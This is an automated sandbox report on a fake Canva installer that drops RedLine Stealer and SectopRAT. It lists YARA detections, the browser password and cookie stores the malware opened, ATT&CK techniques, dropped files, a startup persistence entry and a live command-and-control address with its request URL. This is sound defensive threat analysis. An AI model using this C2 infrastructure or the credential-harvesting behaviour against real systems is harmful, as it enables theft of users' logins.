Source: Yara match	File source: 10.2.more.com.62a00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.more.com.5b900c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.more.com.62a00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 1588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 4132, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, type: DROPPED

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 3664, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: 15.2.more.com.5b900c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.more.com.62a00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.more.com.5b900c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.more.com.62a00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 1588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 4132, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 15.2.more.com.5b900c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.more.com.62a00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.MSBuild.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.more.com.5b900c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.more.com.62a00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: more.com PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: more.com PID: 1588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 4132, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, type: DROPPED

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 3664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	2 Registry Run Keys / Startup Folder	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	11 Input Capture	223 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	212 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	431 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Masquerading	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9VbeqQbgU4.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Canva\Canva.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\ffmpeg.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-B2DEV.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-EHJBJ.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-N7DP5.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-ON0A3.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-PO2CC.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-U9DO2.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-UK1KN.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\is-UNVOH.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\libEGL.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\libGLESv2.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\resources\elevate.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\resources\is-NK1KE.tmp	0%	ReversingLabs
C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Canva\vulkan-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	71%	ReversingLabs	ByteCode-MSIL.Ransomware.RedLine
C:\Users\user\AppData\Local\Temp\is-6VQJV.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mebamtoyxy	71%	ReversingLabs	ByteCode-MSIL.Ransomware.RedLine
C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	38%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Roaming\sto\BIT3445.tmp	38%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Roaming\sto\coml.exe (copy)	38%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
http://vovsoft.com/blog/how-to-activate-using-license-key/open	0%	Avira URL Cloud	safe
http://vovsoft.comopen	0%	Avira URL Cloud	safe
http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/	0%	Avira URL Cloud	safe
https://vovsoft.com/blog/credits-and-acknowledgements/H	0%	Avira URL Cloud	safe
http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE.G	0%	Avira URL Cloud	safe
https://vovsoft.com/translation/	0%	Avira URL Cloud	safe
https://www.karenware.com/powertools/ptwhois0	0%	Avira URL Cloud	safe
http://45.141.84.168:9000	0%	Avira URL Cloud	safe
http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AEP	0%	Avira URL Cloud	safe
http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high
time.windows.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://vovsoft.comopen	dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B34000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	9VbeqQbgU4.exe	false		high
http://www.vmware.com/0	dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000004.00000002.1981936282.0000000007B54000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/	dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B3A000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	false		high
http://vovsoft.com/blog/how-to-activate-using-license-key/open	dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B2E000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false	Avira URL Cloud: safe	unknown
http://www.indyproject.org/	dobi.exe, 00000007.00000002.2032606953.0000018064556000.00000004.00001000.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000002.2385507200.00000274BC0CE000.00000004.00001000.00020000.00000000.sdmp, dobi.exe.4.dr	false		high
https://static.canva.com/static/images/favicons/favicon_app_sites.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/cLika3dt	MSBuild.exe, 00000011.00000002.2451008934.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_print.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_whiteboards.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
http://int3.de/	9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	false		high
https://github.com/focus-trap/tabbable/blob/master/LICENSE	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
http://vovsoft.com/	dobi.exe, 00000007.00000000.1875791170.0000000001499000.00000002.00000001.01000000.0000000A.sdmp, dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.00000180670CF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, svchost.exe, 0000000C.00000003.2083606999.00000210D12DE000.00000004.00000020.00020000.00000000.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B3A000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false		high
http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE.G	MSBuild.exe, 0000000D.00000002.3260449809.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.canva.com/static/images/favicon-1.ico	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.1937136728.0000000005061000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vovsoft.com/blog/credits-and-acknowledgements/H	dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B3A000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	9VbeqQbgU4.exe, 00000000.00000003.1397774698.000000007E28B000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.exe, 00000000.00000003.1397272912.0000000003150000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000002.00000000.1400596788.0000000000C11000.00000020.00000001.01000000.00000004.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	9VbeqQbgU4.exe, 00000000.00000003.1397774698.000000007E28B000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.exe, 00000000.00000003.1397272912.0000000003150000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000002.00000000.1400596788.0000000000C11000.00000020.00000001.01000000.00000004.sdmp	false		high
https://www.canva.com/help	9VbeqQbgU4.exe, 00000000.00000003.2181522833.0000000002C96000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_docs.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_video.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1937136728.0000000005061000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3266250140.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.canva.com/download	9VbeqQbgU4.exe, 00000000.00000003.2181522833.0000000002CC1000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000002.00000003.2166140812.0000000001711000.00000004.00001000.00020000.00000000.sdmp	false		high
http://jedwatson.github.io/classnames	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://vovsoft.com	dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B2E000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/cLika3dtPO	MSBuild.exe, 00000011.00000002.2451008934.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vovsoft.com/translation/	powershell.exe, 00000004.00000002.1996930254.000000000AE61000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.000001806718E000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1875791170.0000000001558000.00000002.00000001.01000000.0000000A.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B69000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_social_media.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.canva.com	9VbeqQbgU4.exe, 00000000.00000003.2181522833.0000000002CB3000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000002.00000003.2166140812.0000000001703000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.vmware.com/0/	dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000C.00000003.2038242908.00000210CFDD0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.141.84.168:9000	MSBuild.exe, 0000000D.00000002.3266250140.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3266250140.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.karenware.com/powertools/ptwhois0	powershell.exe, 00000004.00000002.1996930254.000000000A941000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.000001806718E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vovsoft.com/help/	dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe.4.dr	false		high
http://www.symauth.com/cps0(	dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 0000000C.00000003.2038242908.00000210CFE29000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AEP	MSBuild.exe, 0000000D.00000002.3266250140.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000004.00000002.1994433535.0000000008C09000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	dobi.exe, 00000007.00000002.2133818177.0000018067888000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.000000000502F000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.0000000005125000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_default.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_presentations.svg	9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.141.84.168	unknown	Russian Federation		206728	MEDIALAND-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564404
Start date and time:	2024-11-28 10:03:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9VbeqQbgU4.exe renamed because original name is a hash value
Original Sample Name:	a91b4875630c4f702ab63f94ed633da4.exe
Detection:	MAL
Classification:	mal80.troj.spyw.evad.winEXE@20/185@1/2
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 99% Number of executed functions: 120 Number of non-executed functions: 16
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 40.81.94.65, 20.109.210.53, 2.22.50.144, 2.22.50.131, 20.242.39.171, 23.206.197.43, 23.206.197.8, 23.206.197.50, 23.206.197.51, 23.206.197.58, 23.206.197.56, 23.206.197.49, 23.206.197.48, 23.206.197.42
Excluded domains from analysis (whitelisted): www.bing.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, www-www.bing.com.trafficmanager.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target MSBuild.exe, PID 4132 because it is empty
Execution Graph export aborted for target coml.exe, PID 4208 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1516 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 9VbeqQbgU4.exe

Simulations

Behavior and APIs

Time	Type	Description
10:05:46	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coml.lnk

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	DarkGate_Loader.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
